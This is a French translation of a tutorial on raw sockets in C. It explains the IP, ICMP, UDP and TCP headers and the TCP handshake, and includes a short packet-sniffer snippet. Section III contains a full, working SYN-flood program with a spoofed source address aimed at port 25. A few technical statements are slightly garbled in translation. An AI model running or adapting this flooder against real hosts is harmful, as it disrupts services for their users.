Un bref tutorial en C pour les Raw sockets ================================================= Written by Mixter for the BlackCode Magazine Traduit par Lansciac (lansciac@madchat.org) pour Madchat.org Source : http://mixter.void.ru/rawip.txt Dans ce tutorial, vous apprendrez les bases de l'utilisation des raw sockets avec le langage C, pour inserer n'importe quel protocole IP fonde sur un datagramme a l'interieur du traffic d'un reseau. C'est utile, par exemple, pour construire des scanners de ports comme nmap, pour spoofer ou pour ameliorer les operations qui necessite l'envoi de donnees au travers de connexions. Simplement, vous pouvez envoyer n'importe quel paquet a n'importe quel moment, vu que l'utilisation des fonctions d'interfaçage de votre pile IP (connection, ecriture, attachement, etc.) ne vous permette pas le controle direct sur les paquets. Cela vous permet theoriquement de simuler le comportement de la IP de votre OS, et aussi de mettre fin au traffic (les datagrammes qui n'appartiennent pas a une connexion valide..) Pour ce tutorial, tout ce qu'il vous faut est un minimum de connaissance dans l'art de programmer les sockets en C (voir http://www.ecst.csuchico.edu/~beej/guide/net/). I. Raw sockets Le concept basic des sockets de bas niveaux est d'envoyer un simple paquet a un moment, avec toutes les entetes de protocoles remplies par le programme (et pas par le noyau). Unix fournit deux sortes de sockets ce qui permet l'acces direct au reseau. L'un est SOCK_PACKET, lequel reçoit et envoie des donnees sur les couches des dispositifs de communication. Cela signifie que l'entete specifique NIC a ete inclue dans les donnees qui seront lues ou ecrites. Pour la plupart des reseaux, c'est l'entete ethernet. Bien sur, toutes les entetes du protocole suivant devront aussi etre inclues dans les donnees. Pour notre part, nous utiliserons plutot SOCK_RAW qui inclue les entetes IP, l'entete du protocole suivant et les donnees. Le modele (simplifie) des divers couches ressemble a cela: Couche physique Couche liaison de donnees (protocole ethernet) Couche reseau (IP) Couche transport (TCP, UDP, ICMP) Couche session (autentification, syncro) Passons maintenant un peu a la pratique. La commande standard pour creer un datagramme est: socket (PF_INET, SOCK_RAW, IPPROTO_UDP); A partir du moment ou il a ete cree, vous pouvez envoyer n'importe quels paquets IP dessus, et recevoir n'importe quels paquets que l'hote a recu apres que la connexion fut etablie si vous faite un read() dessus. Bien que la socket soit une interface pour l'entete IP, c'est une specificite de la couche transport. Cela signifie que pour ecouter une communication TCP, UDP ou ICMP, vous devez creer 3 raw sockets differentes, en utilisant IPPROTO_TCP, IPPROTO_UDP et IPPROTO_ICMP (Les numeros des protocoles sont 0 our 6 pour tcp, 17 pour udp et 1 pour icmp). Avec ces acquis, nous pouvons, par exemple, creer un petit sniffer, qui vide le contenu de tous les paquets tcp qu'il recoit. (Les entetes, etc. sont perdues, c'est juste un exemple. Comme vous pouvez le voir, nous ignorons les entetes TCP et IP lesquels sont contenues dans le paquet, et nous ressortons seulement les donnees de la couche session/application). int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); char buffer[8192]; /* un simple packet ne depasse en general pas 8192 octets */ while (read (fd, buffer, 8192) > 0) printf ("Caught tcp packet: %s\n", buffer+sizeof(struct iphdr)+sizeof(struct tcphdr)); II. Les protocoles IP, ICMP, TCP et UDP Pour injecter vos propres paquets, tout ce que vous avez besoin de connaitre, c'est la structure des protocoles qui doivent etre inseres. Ci dessous, vous trouverez une breve introduction aux entetes IP, ICMP, TCP et UDP. Il est recommande de construire vos paquets en utilisant des structures, ainsi vous pouvez facilement remplir vos entetes de paquets. Les systemes UNIX fournissent des structures standards dans les fichiers d'entete (par exemple ). Vous pouvez toujours creer vos propres structures tant que la taille de chaque option est correcte. Pour vous aider a construire des programmes portables, nous utiliserons les appellations BSD dans nos structures. Nous utiliserons aussi les petites notations endian. Sur les grosses machines endian (d'autres architectures que le intel x86), les variables de 4 bits echangent leurs places. Cependant, chacun pourra toujours utiliser les structures dans le meme sens dans ce programme. Ensuite, chaque structure d'entete est une petite explication de ses membres, ainsi vous savez quelles valeurs seront remplies et quelles valeurs elles prendront. Les types et taille des donnees utiles: unsigned char - 1 octet (8 bits) unsigned short int - 2 octets (16 bits) unsigned int - 4 octets (32 bits) struct ipheader { unsigned char ip_hl:4, ip_v:4; /* Signifie que chaque membre occupe 4 bits */ unsigned char ip_tos; unsigned short int ip_len; unsigned short int ip_id; unsigned short int ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short int ip_sum; unsigned int ip_src; unsigned int ip_dst; }; /* Taille total de l'entete IP: 20 octets (=160 bits) */ Le Protocole Internet (IP) est le protocole de la couche reseau, utilisé pour diriger les donnees de la source vers la destination. Chaque datagramme contient une entete IP suivie par un protocole de la couche transport comme TCP par exemple. ip_hl: La longueur d'une entete IP en 32bits. Cela signifie une valeur de 5 pour hl ce qui correspond a 20 octets (5 * 4). Les valeurs au-dela de 5 contiennent les options (tres frequement utilisees pour le routage) ip_v: La version ip est toujours 4 ip_tos: Le type de service controle la priorite du packet. 0x00 est normal. Les 3 premiers bits correspondent a la priorite du routage, les 4 bits suivants pour le type de service (delay, throughput, reliability et cost). ip_len: total length doit contenir la longueur total du datagramme IP. Cela inclus l'entete ip , icmp, tcp ou udp et la taille du contenu en octet. ip_id: La chaine numerique id est principalement utilisee pour reassembler les fragments des datagrammes IP. Quand on envoie les datagrammes un par un , chacun peut avoir un ID arbitraire. ip_off: Le fragment offset est utilise pour reassembler les datagrammes fragmentes. Les 3 premiers bits representent l'indicateur du segment, Le premier sera toujours 0, le second le do-not-fragment bit (ip_off |= 0x4000) et le troisieme le more-flag (indicateur supplementaire) ou more-fragments-following bit (ip_off |= 0x2000). Les 13 bits suivants representent le fragment de l'offset, contenant le nombre de 8-octets paquets deja envoyes. ip_ttl: time to live est le nombre maximum de routeur par lequel le paquet passera avant d'etre perdu. C'est a ce moment qu'un message d'erreur icmp est renvoye. Le maximum est de 255. ip_p: Le protocole de la couche transport (transport layer protocol). Cela peut etre TCP (6), UDP(17), ICMP(1), ou ou quelqu'autre protocole suivant l'entete IP. Regardez dans /etc/protocols pour en savoir davantage. ip_sum: C'est le datagramme de verification pour l'ensemble du datagramme IP. A chaque fois quelquechose change dans le datagramme, ce qui signifie qu'il doit etre recalcule, ou le paquet sera perdu par le prochain routeur. ip_src et ip_dst: Source et destination de l'adresse IP, convertie au long format, par exemple par inet_addr(). Peut etre choisit arbitrairement. Le protocole IP n'a pas de mecanisme interne pour etablir et maintenir une connexion, voire passer un contenu. Internet Control Messaging Protocol (ICMP) est simplement un ajout au protocole IP pour transmettre les erreurs, le routage, le controle des messages et des donnees, et il est considere comme un protocole de la couche reseau. struct icmpheader { unsigned char icmp_type; unsigned char icmp_code; unsigned short int icmp_cksum; /* Les structures de donnees suivantes sont les specifications ICMP */ unsigned short int icmp_id; unsigned short int icmp_seq; }; /* Longueur total de l'entete ICMP: 8 octets (=64 bits) */ icmp_type: Le type du message, par exemple 0 - echo reply, 8 - echo request, 3 - destination unreachable. Regardez dans pour tous les types. icmp_code: Il identifie les messages d'erreur (unreach), et specifie chaque type. Encore une fois, consultez les bibliotheques pour en savoir plus. icmp_cksum: La somme de controle pour l'entete et les donnees icmp . Identique a la somme de controle d'IP. Note: Les 32 bits restants peuvent etre utilises de plusiuers manieres. Cela depend du type et du code de ICMP. La structure la plus frequement usite, un ID et une chaine numerique, est utilisee par echo requests/reply, de là nous utiliserons celui-ci, mais gardez a l'esprit que c'est reellement plus complexe. icmp_id: utilises par les messages echo request/reply, pour identifier la requete icmp_seq: identifie la chaine des echo messages, s'il y en a plus d'un envoye. Le User Datagram Protocol (UDP) est un protocole de transport pour les sessions qui necessite un echange de donnees. Les protocoles TCP et UDP fournissent 65 535 differents ports source et ports destination. Le port de destination est utilise pour connecter un service specifique sur ce port. Au contraire de TCP, UDP n'est pas sûr, puisqu'il n'utilise pas de chaine numerique et d'etat de connexions. Cela signifie que les datagrammes UDP peuvent etre spoofes et par consequents peu surs (par exemple, des paquets peuvent etre perdus), puisqu'il n'y a pas de confirmation par des reponses et des chaines numeriques. struct udpheader { unsigned short int uh_sport; unsigned short int uh_dport; unsigned short int uh_len; unsigned short int uh_check; }; /* Longueur totale de l'entete UDP: 8 octets (=64 bits) */ uh_sport: Le port source auquel s'attache un client (bind()), et par lequel le serveur repondra directement au client. uh_dport: Le port destination sur lequel un serveur specifique peut etre contacte. uh_len: La longueur de l'entete UDP et le nombre de donnees en octets. uh_check: La somme de controle des entetes et des donnees, voir IP checksum. Le Transmission Control Protocol (TCP) est le protocole de transport le plus utilise puisqu'il permet d'etablir des connexions fiables avec une authentification basique, utilisant l'etat de connexion et les chaines numeriques ( voir IV). struct tcpheader { unsigned short int th_sport; unsigned short int th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_x2:4, th_off:4; unsigned char th_flags; unsigned short int th_win; unsigned short int th_sum; unsigned short int th_urp; }; /* Longueur totale de l'entete TCP: 20 octets (=160 bits) */ th_sport: Le port source, lequel a la meme fonction que dans UDP. th_dport: Le port destinationt, lequel a la meme fonction que dans UDP. th_seq: La chaine numerique est utilisee pour denombrer le nombre de segments TCP. Les donnees dans une connexion TCP peuvent etre contenues dans n'importe quel segment (=un seul datagramme tcp), lequel pourra etre remis en ordre et confirme. Par exemple, si vous envoyez 3 segments, chacun contenant 32 octests de donnees, la premiere chaine pourra etre (N+)1, la seconde (N+)33 et la troisieme (N+)65. "N+" parce que la premiere chaine est aleatoire. th_ack: Chaque paquet qui est envoye et une connexion correcte est confirmee par une chaine TCP vide avec l'indicateur ACK (voir ensuite), et le champ th_ack contenant la precedente chaine numerique the_seq. th_x2: Inutilise. Contient des zeros binaires. th_off: Specifie la longueur de l'entete TCP dans les blocs 32bit/4octet. Sans les options des entetes TCP, la valeur est 5. th_flags: Ce champ se compose de 6 indicateurs. Utilisant les entetes BSD,ils peuvent etre combines comme cela : th_flags = FLAG1 | FLAG2 | FLAG3... TH_URG: Urgent. Le segment doit etre expedie rapidement, utilise pour terminer une connexion ou arreter un processus (utilisation du protocole telnet). TH_ACK: Acknowledgement. Utilise pour confirmer les donnees dans la deuxieme et troisieme partie d'une initialisation de connexion TCP (voir IV.). TH_PSH: Push. Le systeme d'empilement IP ne bufferise pas le segment et l'envoie immediatement a l'application (tres utilise avec telnet). TH_RST: Reset. Annonce que la connexion est terminee. TH_SYN: Synchronization. Un segment avec l'indicateur SYN positionne indique qu'un client veut initialiser une nouvelle connexion sur le port de destination. TH_FIN: Final. La connexion doit etre fermee, l'interlocuteur est suppose repondre avec un dernier segment contenant l'indicateur FIN. th_win: Window. La quantite d'octets qui peuvent etre envoyes avant de devoir attendre une confirmation ACK avant le prochain envoie de donnees. th_sum: La somme de controle de la pseudo entete, entete tcp et contenu. Le pseudo est une structure contenant l'IP source et l'IP destination , 1 octet mis a zero, le protocole (1 octet avec une valeur decimal de 6), et 2 octets (unsigned short) contenant la longueur totale du segment TCP. th_urp: Urgent pointer. Uniquement utilise si l'indicateur d'urgence a ete active, sinon zero. Il pointe vers la fin du contenu des donnees qui doivent etre envoyees en priorite. III. Construction et injection des datagrammes Maintenant, en mettant en commun les connaissances que vous avez sur les structures d'entete des protocoles et quelques fonctions basiques de C, il est facile de construire des datagrammes. Faisons en la demonstration avec ce petit exemple qui envoie constament des requetes SYN a un hote (SYN flooder). #define __USE_BSD /* utilise bsd'ish ip header */ #include /* Ces entetes sont pour un systeme Linux, mais*/ #include /* mais les noms sur les autres systemes sont faciles a deviner*/ #include #define __FAVOR_BSD /* utilise bsd'ish tcp header */ #include #include #define P 25 /* Floodons le port sendmail */ unsigned short /* Cette fonction genere des controles sur les entetes*/ csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int main (void) { int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* Ouverture raw socket */ char datagram[4096]; /* Ce buffer contiendra l'entete IPn l'entete TCP et le contenu. Nous pointons une structure d'entete IP a son commencement et une structure d'entete TCP apres cela pour ecrire la valeur de l'entete a l'interieur */ struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); struct sockaddr_in sin; /* Le sockaddr_in contient l'adresse de destination. Il est utilise dans le sendto() pour determiner le chemin des datagrammes */ sin.sin_family = AF_INET; sin.sin_port = htons (P);/* you byte-order >1byte header values to network byte order (not needed on big endian machines) */ sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); memset (datagram, 0, 4096); /* zero out the buffer */ /*Nous remplissons maintenant les valeurs des entetes IP/TCP, voir en dessous pour les explications. */ iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* pas de contenu */ iph->ip_id = htonl (54321); /* La valeur n'a pas d'importance ici */ iph->ip_off = 0; iph->ip_ttl = 255; iph->ip_p = 6; iph->ip_sum = 0; /* mettre la valeur a 0 avant de calculer la somme de controle actuelle */ iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN peut etre spoofe */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons (1234); /* port arbitraire */ tcph->th_dport = htons (P); tcph->th_seq = random ();/* dans un paquet SYN , la sequence numerique est aleatoire*/ tcph->th_ack = 0;/* et la sequence ack est 0 dans le premier paquet */ tcph->th_x2 = 0; tcph->th_off = 0; /* Premier et unique segment TCP */ tcph->th_flags = TH_SYN; /* Demande de connection initial */ tcph->th_win = htonl (65535); /* Taille maximum de la fenetre utillisee */ tcph->th_sum = 0;/* Si vous mettez le controle a 0, votre pile IP centrale se remplira correctement durant la transmission */ tcph->th_urp = 0; iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); /* Finalement, il est recommande de faire un appel IP_HDRINCL, pour etre sure que le noyau sait que l'entete est incluse dans les donnees et non pas dans le paquet avant celui des donnees */ { /* ... */ int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n"); } while (1) { if (sendto (s, /* Notre socket */ datagram, /* le buffer contenant les entetes et les donnees */ iph->ip_len, /* taille totale de notre datagramme */ 0, /* indicateur de routage, normalement toujours a 0 */ (struct sockaddr *) &sin, /* socket addr, comme dans un */ sizeof (sin)) < 0) /* send() normal */ printf ("error\n"); else printf ("."); } return 0; } IV. Les operations basiques de la couche transport Pour faire un bon usage des paquets, la connaissance des operations basiques le la pile IP est essentielle. Je vais essayer de vous faire une breve introduction sur les operations les plus importantes de la pile IP. Pour en savoir d'avantage sur le comportement des protocoles, une solution est d'examiner la source de votre pile IP syteme, qui, pour linux, est placee dans /usr/src/linux/net/ipv4/. Le protocole le plus important etant bien sur TCP, sur lequel je vais me focaliser. Connection initiation:Pour contacter un serveur TCP ou UDP ecoutant sur le port 1234, Le client appelle une connexion (connect()) avec la structure sockaddr contenant l'adresse de destination et le port. Si le client ne se lie avec aucun port source (bind()), Le systeme de pile IP en choisira un. En se connectant (connect()), L'hote envoie un datagramme contenant les informations suivantes: IP src: adresse du client , IP dest: adresses des serveurs , TCP/UDP src: port source client, TCP/UDP dest: port 1234. Si un client est situe sur le port 1234 du serveur, Il repondra avec un datagramme contenant: IP src: server IP dst: client srcport: server port dstport: clients source port S'il n'y a pas de serveur trouve sur l'hote, un message ICMP, du type unreach message, sera cree, contenant "Connection refused". Le client arretera alors. Si l'hote de destination est hors service, soit un routeur creera un message d'erreur ICMP soit le client n'obtiendra pas de reponse et la connexion sera depassee. Initialisation et connexion TCP: Le client doit obtenir une initialisation de la connexion , avec un indicateur TCP SYN, une chaine numerique arbitraire et pas de nombre de confirmation. Le serveur repond au SYN en envoyant un paquet avec un SYN et un ACK, une autre chaine numerique aleatoire et la confirmation du nombre de la sequence d'origine. Finallement le client repond avec un datagramme TCP avec un indicateur ACK, et la sequence ACK du serveur incrementee de 1. Une fois la connexion etablie, chaque segment TCP n'enverra plus d'indicateur (PSH et URG sont optionnels), la chaine numerique pour chaque paquet incremente par la taille du segment TCP precedent. Une fois que la fenetre maximum de transfert a ete atteinte, il faudra attendre un segment TCP avec un indicateur ACK et la chaine numerique correspondante au premier paquet des derniers envoyes dans l'ordre de reception. De cette maniere, si un segment se perd, il ne sera pas confirme comme reçu et sera donc renvoye. Pour une deconnexion, le serveur et le client enverront un paquet TCP avec une chaine numerique correcte et l'indicateur FIN, et si la connexion est desynchronisee ( annulee, desynchronysee, mauvaise chaine numerique, etc.) le correspondant notifiera une erreur en envoyant un paquer RST avec une chaine numerique correcte pour terminer la connexion. - Mixter Traduit par Lansciac